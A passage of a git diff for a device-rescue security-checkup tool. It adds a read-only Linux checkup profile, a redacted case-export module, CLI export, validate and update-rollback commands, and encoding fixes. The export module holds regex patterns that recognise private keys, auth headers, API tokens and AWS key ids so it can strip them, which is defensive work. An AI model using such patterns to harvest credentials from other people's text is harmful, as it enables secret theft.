b/modules/security/win_uac_check/__init__.py @@ -186,7 +186,7 @@ def _query_reg_value(self, value_name: str) -> str | None: def _parse_reg_value(output: str, value_name: str) -> str | None: - """Parse reg query output to extract the value. + r"""Parse reg query output to extract the value. Example output: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System diff --git a/profiles/linux_security_checkup.yaml b/profiles/linux_security_checkup.yaml new file mode 100644 index 0000000..c6eb71f --- /dev/null +++ b/profiles/linux_security_checkup.yaml @@ -0,0 +1,35 @@ +name: linux_security_checkup +display_name: "Linux Security Checkup" +description: > + A read-only security and health review of a Linux machine, in one command. + Answers the questions a Linux desktop or laptop rarely gets asked: is + anything filtering inbound traffic, can anyone log in over SSH with a + password, who on this machine can become root, is the disk encrypted if it + is lost or stolen, is anything arranged to run at every boot that you do not + recognise, are there published security fixes waiting to be installed, and + is the hardware reporting the early warnings that precede a drive or memory + failure. Nothing is changed: every module reports what it found and, where + there is something to do, tells you the exact command to do it yourself. A + check that needs root and does not have it says so rather than reporting a + clean result. +modules: + include: + # Exposure first — what can reach this machine, and who can log in to it. + - linux_firewall_check + - linux_ssh_hardening + - linux_account_audit + # Then what happens if the machine itself is taken. + - linux_disk_encryption_check + # Then what is arranged to run again, which is where persistence lives. + - linux_persistence_audit + # Then the patch level, which is what most real compromises actually use. + - linux_package_updates + # Then health: services that have failed, and hardware asking for help. + - linux_service_health + - linux_journal_errors + - linux_memory_pressure + # Cross-platform checks that apply here too. + - disk_space + exclude: [] +module_config: {} +guides: [] diff --git a/pyproject.toml b/pyproject.toml index 1495fb7..cdba1c6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,6 +17,14 @@ dependencies = [ [project.optional-dependencies] dev = ["pytest>=8.0", "pytest-asyncio>=0.24", "pyinstaller>=6.0"] ai = ["anthropic>=0.40", "openai>=1.50", "httpx>=0.27"] +# The documentation site (mkdocs.yml + docs/). `mkdocs build --strict` needs +# both of these; pymdown-extensions arrives as a mkdocs-material dependency but +# is pinned explicitly because mkdocs.yml configures its extensions directly. +# Upper-bounded on purpose: mkdocs-material prints a startup notice that +# MkDocs 2.0 removes the plugin system with no migration path, so an unpinned +# `mkdocs` would break this build the day 2.0 lands on PyPI — in CI, on a +# change that had nothing to do with the docs. +docs = ["mkdocs>=1.6,<2", "mkdocs-material>=9.5,<10", "pymdown-extensions>=10.0"] [project.scripts] rescue = "rescue.cli:main" diff --git a/rescue/ai/providers/anthropic_provider.py b/rescue/ai/providers/anthropic_provider.py index 1d47552..ecf9198 100644 --- a/rescue/ai/providers/anthropic_provider.py +++ b/rescue/ai/providers/anthropic_provider.py @@ -28,7 +28,8 @@ def __init__( if anthropic is None: raise AIProviderUnavailable( "The 'anthropic' package is not installed. Install it with " - "`pip install multiverse-device-rescue[ai]` to use the Anthropic provider." + "`pip install anthropic`, or reinstall this tool from a source " + "checkout with `pip install '.[ai]'`, to use the Anthropic provider." ) self.model = model self.max_tokens = max_tokens diff --git a/rescue/ai/providers/ollama_provider.py b/rescue/ai/providers/ollama_provider.py index 46fabc6..67ddce0 100644 --- a/rescue/ai/providers/ollama_provider.py +++ b/rescue/ai/providers/ollama_provider.py @@ -29,7 +29,8 @@ def __init__( if httpx is None: raise AIProviderUnavailable( "The 'httpx' package is not installed. Install it with " - "`pip install multiverse-device-rescue[ai]` to use the Ollama provider." + "`pip install httpx`, or reinstall this tool from a source " + "checkout with `pip install '.[ai]'`, to use the Ollama provider." ) self.host = host.rstrip("/") self.model = model diff --git a/rescue/ai/providers/openai_provider.py b/rescue/ai/providers/openai_provider.py index 5feec17..8c532c3 100644 --- a/rescue/ai/providers/openai_provider.py +++ b/rescue/ai/providers/openai_provider.py @@ -28,7 +28,8 @@ def __init__( if openai is None: raise AIProviderUnavailable( "The 'openai' package is not installed. Install it with " - "`pip install multiverse-device-rescue[ai]` to use the OpenAI provider." + "`pip install openai`, or reinstall this tool from a source " + "checkout with `pip install '.[ai]'`, to use the OpenAI provider." ) self.model = model self.max_tokens = max_tokens diff --git a/rescue/case.py b/rescue/case.py new file mode 100644 index 0000000..3526c45 --- /dev/null +++ b/rescue/case.py @@ -0,0 +1,380 @@ +"""Rescue-case records: what was found, what was done, and what it cost. + +Roadmap P1#2: "There is no redacted export containing findings, actions +actually taken, action outcomes, operator confirmations, rollback information, +or post-fix verification." Without one, the output of a rescue lives in a +terminal scrollback — you cannot hand it to someone who can help, diff it +against a later run, or attach it to a support request. + +Two properties matter more than the schema: + +**It is redacted by construction, not by review.** The tool's whole promise is +that it never collects secrets. An export is the one artifact a user is likely +to paste into a chat window, an email, or a public issue, so the redaction runs +over every string that leaves here — including free-text finding descriptions +written by 280-odd modules that this code cannot audit individually. Patterns +cover the things whose disclosure is immediately harmful: tokens and keys, +authorization headers, private-key blocks, and the user's own account name as +it appears in filesystem paths. + +**It is honest about what happened.** Guidance is recorded as guidance even if +a module marked it successful; a mutation is only recorded as a system change +if it executed and succeeded. That mirrors ``FixResult.executed_mutations``, +which exists for the same reason (roadmap P0#6). +""" + +from __future__ import annotations + +import getpass +import json +import platform +import re +from dataclasses import dataclass, field +from datetime import datetime, timezone +from pathlib import Path +from typing import Any + +from rescue.models import ( + ActionKind, + CheckResult, + CheckStatus, + FixResult, + SystemProfile, +) +from rescue.module_base import ModuleBase + +CASE_SCHEMA_VERSION = 1 + +_REDACTED = "[redacted]" + +# Ordered most-specific first: a bearer token inside an Authorization header +# should be redacted by the header rule, not partially mangled by the generic +# token rule. Each pattern keeps the identifying prefix so the reader can still +# tell *what kind* of secret was present. +_REDACTION_PATTERNS: list[tuple[re.Pattern[str], str]] = [ + (re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----.*?-----END [A-Z ]*PRIVATE KEY-----", re.S), f"{_REDACTED} private key"), + # Consumes the rest of the line: an auth header's value is "Bearer ", + # so stopping at the first whitespace would redact the scheme and leave the + # credential sitting in the export. + (re.compile(r"(?i)\b(authorization|proxy-authorization)\s*[:=].*"), r"\1: " + _REDACTED), + (re.compile(r"(?i)\b(api[_-]?key|secret|password|passwd|token|access[_-]?key)\b\s*[:=]\s*\S+"), r"\1=" + _REDACTED), + (re.compile(r"\bgh[pousr]_[A-Za-z0-9]{16,}"), f"{_REDACTED} github token"), + (re.compile(r"\bsk-[A-Za-z0-9_-]{16,}"), f"{_REDACTED} api key"), + (re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}"), f"{_REDACTED} slack token"), + (re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}"), f"{_REDACTED} jwt"), + (re.compile(r"\bAKIA[0-9A-Z]{16}\b"), f"{_REDACTED} aws key id"), + (re.compile(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b"), f"{_REDACTED} email"), +] + + +def _home_patterns() -> list[tuple[re.Pattern[str], str]]: + """Replace the operator's account name and home path with placeholders. + + A path like ``/Users/jsmith/Library/LaunchAgents/x.plist`` identifies a + person; ``~/Library/LaunchAgents/x.plist`` carries the same diagnostic + meaning. Computed per call rather than at import so tests (and a tool run + under a different account) get the right value. + """ + patterns = [] + try: + home = str(Path.home()) + except (RuntimeError, OSError): + home = "" + if home and home not in ("/", ""): + patterns.append((re.compile(re.escape(home)), "~")) + try: + user = getpass.getuser() + except Exception: + user = "" + # Single-character or very short usernames would match far too much text. + if user and len(user) >= 3: + patterns.append((re.compile(rf"\b{re.escape(user)}\b"), "[user]")) + return patterns + + +def redact(value: str, extra: list[tuple[re.Pattern[str], str]] | None = None) -> str: + """Return ``value`` with credential-shaped and identifying text removed.""" + if not isinstance(value, str) or not value: + return value + result = value + for pattern, replacement in _REDACTION_PATTERNS: + result = pattern.sub(replacement, result) + for pattern, replacement in extra or []: + result = pattern.sub(replacement, result) + return result + + +def _redact_any(value: Any, extra: list[tuple[re.Pattern[str], str]]) -> Any: + """Recursively redact strings inside JSON-shaped data. + + Module ``Finding.data`` is free-form, so anything can be in there. Values + that are not JSON-serializable are stringified first — an export that + raises on an unexpected type would lose the whole case. + """ + if isinstance(value, str): + return redact(value, extra) + if isinstance(value, dict): + return {str(k): _redact_any(v, extra) for k, v in value.items()} + if isinstance(value, (list, tuple)): + return [_redact_any(v, extra) for v in value] + if isinstance(value, (int, float, bool)) or value is None: + return value + return redact(str(value), extra) + + +@dataclass +class CaseEntry: + """One module's contribution to a case: its check and any fix attempted.""" + + module: ModuleBase + check: CheckResult + fix: FixResult | None = None + confirmed_by_operator: bool | None = None + + +@dataclass +class RescueCase: + """A complete record of one rescue session.""" + + profile: SystemProfile | None = None + profile_name: str | None = None + entries: list[CaseEntry] = field(default_factory=list) + started_at: str = "" + finished_at: str = "" + notes: list[str] = field(default_factory=list) + + def add( + self, + module: ModuleBase, + check: CheckResult, + fix: FixResult | None = None, + confirmed_by_operator: bool | None = None, + ) -> None: + self.entries.append(CaseEntry(module, check, fix, confirmed_by_operator)) + + +def _now() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds") + + +def case_to_dict(case: RescueCase) -> dict[str, Any]: + """Build the redacted, JSON-serializable form of a case.""" + extra = _home_patterns() + + system: dict[str, Any] = {} + if case.profile is not None: + system = { + "platform": case.profile.platform.value, + "os_name": redact(case.profile.os_name, extra), + "os_version": case.profile.os_version, + "architecture": case.profile.architecture, + "cpu_model": case.profile.cpu_model, + "cpu_cores": case.profile.cpu_cores, + "ram_bytes": case.profile.ram_bytes, + # Hostnames are frequently "jane-smiths-macbook-pro"; the diagnostic + # value is nil and the identifying value is high. + "hostname": _REDACTED, + } + else: + system = {"platform": platform.system().lower()} + + modules: list[dict[str, Any]] = [] + for entry in case.entries: + modules.append(_entry_to_dict(entry, extra)) + + system_changes = sum( + len(e.fix.executed_mutations) for e in case.entries if e.fix is not None + ) + manual_actions = sum( + len(e.fix.guidance_actions) for e in case.entries if e.fix is not None + ) + + return { + "schema_version": CASE_SCHEMA_VERSION, + "generated_at": _now(), + "started_at": case.started_at, + "finished_at": case.finished_at or _now(), + "rescue_profile": case.profile_name, + "system": system, + "summary": { + "modules_run": len(case.entries), + "modules_with_findings": sum(1 for e in case.entries if e.check.has_issues), + "modules_failed": sum(1 for e in case.entries if e.check.status is CheckStatus.FAILED), + "modules_unsupported": sum( + 1 for e in case.entries if e.check.status is CheckStatus.UNSUPPORTED + ), + "findings": sum(len(e.check.findings) for e in case.entries), + "system_changes": system_changes, + "manual_actions_required": manual_actions, + }, + "modules": modules, + "notes": [redact(note, extra) for note in case.notes], + "redaction": { + "applied": True, + "note": ( + "Credential-shaped strings, email addresses, the account name, " + "and the home-directory path are removed before writing. Review " + "before sharing anyway: module output is free text." + ), + }, + } + + +def _entry_to_dict(entry: CaseEntry, extra: list[tuple[re.Pattern[str], str]]) -> dict[str, Any]: + check = entry.check + record: dict[str, Any] = { + "module": entry.module.name, + "category": entry.module.category, + "risk_level": entry.module.risk_level.value, + "status": check.status.value, + "error": redact(check.error, extra) if check.error else None, + "unsupported_reason": redact(check.unsupported_reason or "", extra) or None, + "findings": [ + { + "title": redact(f.title, extra), + "description": redact(f.description, extra), + "severity": f.severity.value, + "category": f.category, + "code": f.code, + "confidence": f.confidence, + "collected_at": f.collected_at, + "data": _redact_any(f.data, extra), + } + for f in check.findings + ], + "operator_confirmed": entry.confirmed_by_operator, + } + + if entry.fix is None: + record["actions"] = [] + return record + + record["actions"] = [ + { + "title": redact(action.title, extra), + "description": redact(action.description, extra), + "kind": action.kind.value, + "risk_level": action.risk_level.value, + # Guidance is never a system change, whatever flags a module set on + # it. This mirrors FixResult.executed_mutations so the export cannot + # claim a change the summary does not count. + "changed_the_system": ( + action.kind is ActionKind.MUTATION and action.executed and action.success + ), + "succeeded": action.success if action.kind is ActionKind.MUTATION else None, + "error": redact(action.error, extra) if action.error else None, + "rollback": _redact_any(action.data.get("rollback"), extra), + "verification": _redact_any(action.data.get("verification"), extra), + } + for action in entry.fix.actions + ] + return record + + +def case_to_json(case: RescueCase, indent: int = 2) -> str: + return json.dumps(case_to_dict(case), indent=indent, sort_keys=False) + + +def case_to_markdown(case: RescueCase) -> str: + """Human-readable summary of the same redacted data. + + A JSON file is for tooling; this is what a person actually reads, and what + they can paste into a message asking for help. + """ + data = case_to_dict(case) + summary = data["summary"] + lines = [ + "# Rescue case report", + "", + f"- Generated: {data['generated_at']}", + f"- Profile: {data['rescue_profile'] or 'none (full scan)'}", + f"- System: {data['system'].get('os_name', '?')} " + f"{data['system'].get('os_version', '')} ({data['system'].get('architecture', '?')})", + "", + "## Summary", + "", + f"- Modules run: {summary['modules_run']}", + f"- Modules reporting findings: {summary['modules_with_findings']}", + f"- Checks that failed to run: {summary['modules_failed']}", + f"- Checks not supported here: {summary['modules_unsupported']}", + f"- Total findings: {summary['findings']}", + f"- System changes made: {summary['system_changes']}", + f"- Manual actions still required: {summary['manual_actions_required']}", + "", + ] + + with_findings = [m for m in data["modules"] if m["findings"]] + if with_findings: + lines += ["## Findings", ""] + for module in with_findings: + lines.append(f"### {module['module']} ({module['category']})") + lines.append("") + for finding in module["findings"]: + code = f" `{finding['code']}`" if finding["code"] else "" + lines.append(f"- **[{finding['severity']}]** {finding['title']}{code}") + if finding["description"]: + lines.append(f" - {finding['description']}") + lines.append("") + + failed = [m for m in data["modules"] if m["status"] in ("failed", "unsupported")] + if failed: + # Surfaced deliberately: a check that could not run is not a clean bill + # of health, and a report that hides it is misleading. + lines += ["## Checks that did not produce a result", ""] + for module in failed: + reason = module["error"] or module["unsupported_reason"] or "no reason given" + lines.append(f"- {module['module']}: {module['status']} — {reason}") + lines.append("") + + actions = [ + (m["module"], a) for m in data["modules"] for a in m["actions"] + ] + if actions: + lines += ["## Actions", ""] + for module_name, action in actions: + if action["changed_the_system"]: + label = "CHANGED THE SYSTEM" + elif action["kind"] == "mutation": + label = "attempted, no change" if not action["succeeded"] else "change reported" + else: + label = "manual action required" + lines.append(f"- [{label}] {module_name}: {action['title']}") + if action["rollback"]: + lines.append(f" - Rollback: {action['rollback']}") + if action["error"]: + lines.append(f" - Error: {action['error']}") + lines.append("") + + lines += [ + "## Redaction", + "", + data["redaction"]["note"], + "", + ] + return "\n".join(lines) + + +def write_case(case: RescueCase, directory: Path, stem: str | None = None) -> tuple[Path, Path]: + """Write ``.json`` and ``.md`` into ``directory``. + + Files are written with owner-only permissions: even redacted, a case + describes a machine's security posture, and it lands in a home directory + that other local accounts may be able to read. + """ + directory = Path(directory) + directory.mkdir(parents=True, exist_ok=True) + if stem is None: + stem = "case-" + datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") + + json_path = directory / f"{stem}.json" + md_path = directory / f"{stem}.md" + json_path.write_text(case_to_json(case), encoding="utf-8") + md_path.write_text(case_to_markdown(case), encoding="utf-8") + for path in (json_path, md_path): + try: + path.chmod(0o600) + except OSError: + # Windows and some network filesystems do not honour this; the + # export is still worth producing. + pass + return json_path, md_path diff --git a/rescue/cli.py b/rescue/cli.py index 3f29475..1cad675 100644 --- a/rescue/cli.py +++ b/rescue/cli.py @@ -8,6 +8,7 @@ from rescue.ai.factory import get_provider from rescue.ai.providers.base import AIRequestError from rescue.ai.recommender import ProfileRecommender +from rescue.case import RescueCase, write_case from rescue.guides import discover_guides from rescue.models import CheckResult, Mode, RiskLevel from rescue.orchestrator import Orchestrator @@ -26,8 +27,9 @@ from rescue.update.config import default_config from rescue.update.engine import UpdateEngine from rescue.update.manifest import ManifestError -from rescue.update.repo import GitError +from rescue.update.repo import ContentRepo, GitError from rescue.update.sideload import SideloadError, load_sideload_repo +from rescue.validate import validate_catalog def _project_root() -> Path: @@ -148,6 +150,87 @@ def scan(as_json): click.echo(mod.report(check)) +@main.command() +@click.option("--profile", "profile_name", default=None, help="Only run the modules a profile selects.") +@click.option( + "--output", + "output_dir", + type=click.Path(file_okay=False, path_type=Path), + default=None, + help="Directory to write the case into (default: ~/.rescue/cases).", +) +@click.option("--stdout", "to_stdout", is_flag=True, help="Print the JSON case instead of writing files.") +def export(profile_name, output_dir, to_stdout): + """Run read-only checks and write a redacted rescue-case report. + + Produces a JSON record for tooling and a Markdown summary for people. Both + are redacted: credential-shaped strings, email addresses, the account name, + and the home-directory path are removed before anything is written. + """ + profile = _load_profile_or_exit(profile_name) if profile_name else None + + system_profile = gather_profile() + orch = Orchestrator(modules_dir=_get_modules_dir(), profile=profile) + case = RescueCase( + profile=system_profile, + profile_name=profile_name, + started_at=_utc_now(), + ) + for mod, check in orch.run_checks(): + case.add(mod, check) + case.finished_at = _utc_now() + + if to_stdout: + from rescue.case import case_to_json + + click.echo(case_to_json(case)) + return + + directory = output_dir or (Path.home() / ".rescue" / "cases") + json_path, md_path = write_case(case, directory) + click.echo(f"Wrote {json_path}") + click.echo(f"Wrote {md_path}") + click.echo( + "\nBoth files are redacted, but module output is free text — read them " + "before sharing." + ) + + +def _utc_now() -> str: + from datetime import datetime, timezone + + return datetime.now(timezone.utc).isoformat(timespec="seconds") + + +@main.command() +@click.option("--strict", is_flag=True, help="Treat warnings as failures (used by CI).") +def validate(strict): + """Validate the shipped catalog: modules, profiles, guides, and their links. + + Checks that module names are unique, dependencies resolve without cycles, + platforms and risk levels are declared correctly, every profile selects real + modules, and no guide advertises a step as automatable that no module can + perform. Exits non-zero when the catalog is inconsistent. + """ + report = validate_catalog( + modules_dir=_get_modules_dir(), + profiles_dir=_get_profiles_dir(), + guides_dir=_get_guides_dir(), + ) + + for problem in report.problems: + click.echo(problem.format(), err=problem.severity.value == "error") + + click.echo( + f"\n{report.module_count} modules, {report.profile_count} profiles, " + f"{report.guide_count} guide phases checked: " + f"{len(report.errors)} error(s), {len(report.warnings)} warning(s)." + ) + if not report.ok(strict=strict): + raise SystemExit(1) + click.echo("Catalog is consistent.") + + @main.command() @click.argument("module_names", nargs=-1, required=True) @click.option("--yes", is_flag=True, help="Skip confirmation prompts.") @@ -411,7 +494,9 @@ def remediation_catalog(): index = load_remediation_walkthroughs(_get_guides_dir() / "remediation") rows = build_catalog(modules, index) out = _project_root() / "docs" / "REMEDIATION_CATALOG.md" - out.write_text(render_catalog_markdown(rows)) + # Explicit UTF-8: this markdown contains em-dashes and curly quotes, and + # the locale codec on Windows (cp1252) either mangles them or raises. + out.write_text(render_catalog_markdown(rows), encoding="utf-8") click.echo(f"Wrote {out} ({len(rows)} codes)") @@ -438,7 +523,7 @@ def threat_remediation(): click.echo("ERROR: " + e, err=True) raise SystemExit(1) out = _project_root() / "docs" / "THREAT_REMEDIATION.md" - out.write_text(render_threat_markdown(threats, profiles)) + out.write_text(render_threat_markdown(threats, profiles), encoding="utf-8") click.echo(f"Wrote {out} ({len(threats)} threats)") @@ -475,10 +560,29 @@ def explain(): default=None, help="Apply a signed update from a local git bundle file (air-gapped).", ) -def update(check, dry_run, yes, sideload_path): +@click.option( + "--rollback", + is_flag=True, + help="Return to the content version that was applied before the current one.", +) +@click.option( + "--use-bundled", + "use_bundled", + is_flag=True, + help="Deactivate downloaded content and use what shipped with the install.", +) +def update(check, dry_run, yes, sideload_path, rollback, use_bundled): """Update module data and guide content from the content repository.""" config = default_config() + if rollback and use_bundled: + click.echo("--rollback and --use-bundled cannot be combined.", err=True) + raise SystemExit(2) + + if rollback or use_bundled: + _update_recovery(config, rollback=rollback, dry_run=dry_run) + return + try: if sideload_path is not None: repo = load_sideload_repo(sideload_path, config) @@ -529,6 +633,49 @@ def update(check, dry_run, yes, sideload_path): click.echo(applied.message) +def _update_recovery(config, *, rollback: bool, dry_run: bool) -> None: + """Back out of a content update (roadmap P0#2). + + Neither path fetches anything: rolling back to a version this machine + already had, or falling back to what the install shipped with, must work + when the network is the problem — or when the update is. + """ + if not rollback: + # Deliberately does NOT construct an UpdateEngine. Doing so validates + # the trusted-signer configuration, and a machine whose trust config is + # broken or unpopulated is exactly the machine that most needs to be + # able to fall back to the content it was installed with. An escape + # hatch that depends on the thing that failed is not an escape hatch. + repo = ContentRepo(config.local_path, config.remote_url) + repo.clear_applied_marker() + click.echo( + "Updated content is deactivated. The tool will use the modules, profiles " + "and guides that shipped with the installed package. Nothing was deleted; " + "`rescue update` can activate downloaded content again." + ) + return + + try: + engine = UpdateEngine(config) + except (GitError, TrustConfigurationError) as exc: + click.echo(f"Cannot load the content repository: {exc}", err=True) + click.echo( + "`rescue update --use-bundled` still works: it needs no signature check.", + err=True, + ) + raise SystemExit(1) from exc + + try: + result = engine.rollback(dry_run=dry_run) + except (GitError, ManifestError) as exc: + click.echo(f"Rollback failed: {exc}", err=True) + raise SystemExit(1) from exc + + click.echo(result.message) + if result.status in ("no_previous_version", "pending_approval"): + raise SystemExit(1) + + @main.group() def trust(): """Manage locally-revoked content-repo signers.""" diff --git a/rescue/guides.py b/rescue/guides.py index c52de44..39fefe1 100644 --- a/rescue/guides.py +++ b/rescue/guides.py @@ -57,7 +57,11 @@ def parse_guide_markdown(text: str) -> Guide: def load_guide(path: Path) -> Guide: - return parse_guide_markdown(path.read_text()) + # Guide content is UTF-8 and contains typographic punctuation. Without an + # explicit encoding, Python uses the locale codec, which on Windows is + # cp1252 — that silently mangles em-dashes and quotes into mojibake, and + # raises outright on some byte sequences. + return parse_guide_markdown(path.read_text(encoding="utf-8")) def discover_guides(guides_dir: Path, profile_name: str) -> list[Guide]: diff --git a/rescue/profiles.py b/rescue/profiles.py index aebde90..f5c66e5 100644 --- a/rescue/profiles.py +++ b/rescue/profiles.py @@ -23,7 +23,7 @@ class ProfileValidationError(ValueError): def load_profile(path: Path) -> Profile: - with open(path, "r") as f: + with open(path, "r", encoding="utf-8") as f: data = yaml.safe_load(f) or {} modules_section = data.get("modules", {}) or {} diff --git a/rescue/security/integrity_manifest.json b/rescue/security/integrity_manifest.json index 2453aba..9c62bc0 100644 --- a/rescue/security/integrity_manifest.json +++ b/rescue/security/integrity_manifest.json @@ -6,15 +6,16 @@ "ai/explainer.py": "5f778d937a00265b3a6c15b91190ecbdc86bee8ec856bbb0457f4a0596b96c35", "ai/factory.py": "e980abbf4daec7d284623c3d1e4c8f4cb1badd2e4e0d43129e826fae4b456ba3", "ai/providers/__init__.py": "748088e179d2becb34db91d27923b9d22afba54f182aae95fe9162b4f9658368", - "ai/providers/anthropic_provider.py": "19ebd277c5467cf881a7ac314c4394a5de2efea1f37d0ebfa3ce8c7fb4a3d58e", + "ai/providers/anthropic_provider.py": "f3bbadec6e97f0c073093f608b554610491b3651e2692be2e55208003a105cb7", "ai/providers/base.py": "a8816ef42ec6c6dc131d323871571ddce0d4826aa35fec8dd745566ec8f76986", - "ai/providers/ollama_provider.py": "eb7bb8a3f9a54c359b964d448917bb6c42f7de10234044fbd17ba8044e9ed2bd", - "ai/providers/openai_provider.py": "8e53fc2a5aaf860aa6debe67d012327dc1f830a0fd32cf4c1b266172a384efcd", + "ai/providers/ollama_provider.py": "64eca9224d7e65b670bfbc619ed93320f95385888148554b5d5de5dcebaf4ef8", + "ai/providers/openai_provider.py": "1a32636cff5234bd1b684d821b80e5dc0ecfd689e8c6832e6f2c940cd5402b5a", "ai/recommender.py": "4427a4340f37eb8963f6f6656eaeb44647d01fc5b8a8f7b1ce1c7a0a85fd2d27", - "cli.py": "c9ff51b97fdb8e00ed89c3dd5189f2185af545c58ad3c8bea184bb9c625a6eb9", + "case.py": "a6b9e1fd314395f97e971194f6d3a352b85e2273d986eb422b659ade3feb0e87", + "cli.py": "806682f5f7f8f40ee0de15149c593ac2f84e149086f72db5d8f81a42c725c13d", "command.py": "fa75b1df5b3b742f81e0e3117f628030523c9442c63aac5c747e99d3c632043e", "fsbounds.py": "9eae7c588b5e31a373a42bc3d0fa029e3ac7df15f9d50409b61c2c80acbacdc8", - "guides.py": "324b103e3895bc353619521b7ee88c32e624535bc5de9ccab8d3a9b7b013d749", + "guides.py": "dc6ca9534d08f8aa6575ef76c25705dc5cf50402d5820e94c6f4cf22cd60c18d", "models.py": "386719057364450fe671c2f0f678328edead07848d676df43095f1d58a362946", "module_base.py": "bc57a2b3a9c7a58d66980652e549c159464cca0d781b590c792f9aa0ad649439", "orchestrator.py": "b63a65ed4a4a40b83369dacf37200cf2e2e92b13a88710715509ef9728e64c28", @@ -23,18 +24,18 @@ "profiler/darwin.py": "12a31c44011f18c26393dd8493fc90bda3ebbb61e2e819358ac67e4cdba09c44", "profiler/linux.py": "b7d05aefc9d5b0e1b7d70d38fe7a92330152c3dd5b28cffb1216c609dcd65818", "profiler/windows.py": "b3fdae0d8671b5a669c0af05f5a50f7ffb1b61520f45280f82e16a0f96c83d45", - "profiles.py": "4268b3e8595daf37970776e14e13790a3966fd55fc0caca01aa11d9dda3e939a", + "profiles.py": "65916b504213db477eecb3ea0ebd51c9e335dd09677f22e9d6d46d54d8fd3c09", "registry.py": "df8f118c46f109754a2579a4fbda91ba7b28d0b189dc3db5f66620f8e2c3cebd", "remediation.py": "39d1dae639520ed7f06e69289f0b5a5c71851f18fb38bf2649c1bd062b386e11", "runtime.py": "f025274c2e5374944dd80c4ae37d3e52c5ae6b3b253a8afa2e24bdab0b782121", "security/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "security/integrity.py": "e0d9cdc38fe6abf4c6c3ec046adb0e0e2c69f56f418ab94581c2b3f5e2edb7ad", - "security/signers.py": "61033baaa6d54dbd662e6d5b8fc4ba4b427a8fe062b72e9e38669a30088dbb07", + "security/signers.py": "b270dfe8fba3034dfe9174ea4974ae23c480c3c473f77bb3af53c7bb61677bda", "serialize.py": "01476ec45f77b845357ac9bce95d9a95b055038a5d925a8d7220fffbfa90697d", - "session.py": "57adc792b04eaa10a238bb9a3666feadcbb6c9760e6ddcd57bc99dc909ccf39a", - "threat_map.py": "72baeb77df978837bf64a264589d299829c31576c7d5ff17c4154a305c2ea1f2", + "session.py": "4628542f83fc4b631669c9afc589f8146b2c13f44c4f5c2254f74f4dc901eb6f", + "threat_map.py": "d27d01a018c4645fd774dd2dfb07b01272b48ddcfcf173715a1f894bc3d6ed36", "tui/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", - "tui/app.py": "1c4422d79e4ca9a8684a69f88fbbc8df7fc82084487656cb0a940756843079b0", + "tui/app.py": "b7dc5cabbf04c14d9906f7fbb050f4e0f15a839258ab928955d25b780caf774f", "tui/formatting.py": "ea0c36bff92747150910267b012dd002c4fccb15d122554d6bf4e6ddc810cd8d", "tui/screens/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "tui/screens/_pick.py": "53734b6f6138c8f5a526e0ecf2641031bee3e007698de04644246c28adc0089e", @@ -43,16 +44,17 @@ "tui/screens/findings.py": "abd7f7ecc3ae5e5e981d188a25548bcb949db791e0a8920353f3e72daa20c2f4", "tui/screens/fix_progress.py": "0ce15a3c62edb0ae1b8a7efaf828b6b03da1e3a26ecf6c840ead9aa1055335f8", "tui/screens/fix_result.py": "ad9733aa839d7a6cf4c2c39bc84a05897a4b1c82f150e681ee22e15a258f5578", - "tui/screens/guide_placeholder.py": "0a35720a47609c8a6ca06a85b7dadc2e1482ac254905515eea9cdf3ab1195620", + "tui/screens/guide.py": "f0596f63ad3aad39ae8ef21d153f91e06cf6a296a2e8b2401da73b6b6763011a", "tui/screens/loading.py": "ecc65b9f2a1f10278f8735eb86e326d154859f53bd15a1293c1b1df61dd000fc", "tui/screens/modules.py": "2ef0de9775970c16f04ae2f3c4f1a73034750f26d045c469338a8bfe40212919", "tui/screens/walkthrough.py": "80937abe4f21d811a883c88e4302b3ff6000dc268853690d07a755ce14c7bb51", "update/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "update/config.py": "209950d4b9342b8b19bb9cb2afe1439c31c35d3215dc79a42407eb17f8badcf0", - "update/engine.py": "c11c7023653adfd1e9d2d399243eb9872ffafe258dc954478da1965917bddef3", + "update/engine.py": "0566e9fb835bbf98f8384397d2bb07b268b211c546ed914ddf3d217c35bfe249", "update/manifest.py": "78bb554819a911020633d3ee0fc54e118409f0d883a887e4f4fdbc5e45ebb2ad", - "update/repo.py": "800ac9461a025c3e49fc211f8cc8e3e6eed361e78cd98011b4db1348260edc90", + "update/repo.py": "a58ca0061c49d4a052d65ee5be9b4ff88bd5546bf01460db067d46465511bdc5", "update/sideload.py": "cf94e79dbc85ebe604ce268f170d5ecc9d1ec082417b7dd6e9f42c57b6d9354e", - "update/verify.py": "d902798e797833a54e550ca01a9d0961bfbf29614a2f831a412eed450b680f7a" + "update/verify.py": "d902798e797833a54e550ca01a9d0961bfbf29614a2f831a412eed450b680f7a", + "validate.py": "ca1fbd6a08f39ddfa65025d8eee09afa4b94eff6aee109a10fd3a3390ce22eb7" } } \ No newline at end of file diff --git a/rescue/security/signers.py b/rescue/security/signers.py index e454dc8..658dee8 100644 --- a/rescue/security/signers.py +++ b/rescue/security/signers.py @@ -42,7 +42,7 @@ class TrustConfigurationError(ValueError): def load_trusted_signers(path: Path) -> TrustedSignerSet: - data = json.loads(path.read_text()) + data = json.loads(path.read_text(encoding="utf-8")) signers = [ TrustedSigner( signer_id=entry["signer_id"], @@ -92,7 +92,7 @@ def __init__(self, path: Path): def _load(self) -> None: if self._path.exists(): - data = json.loads(self._path.read_text()) + data = json.loads(self._path.read_text(encoding="utf-8")) self._revoked = dict(data.get("revoked", {})) def _save(self) -> None: diff --git a/rescue/session.py b/rescue/session.py index fc03c02..031ca42 100644 --- a/rescue/session.py +++ b/rescue/session.py @@ -43,13 +43,13 @@ def load(self, profile_name: str) -> SessionState: path = self._path(profile_name) if not path.exists(): return SessionState(profile=profile_name) - with open(path, "r") as f: + with open(path, 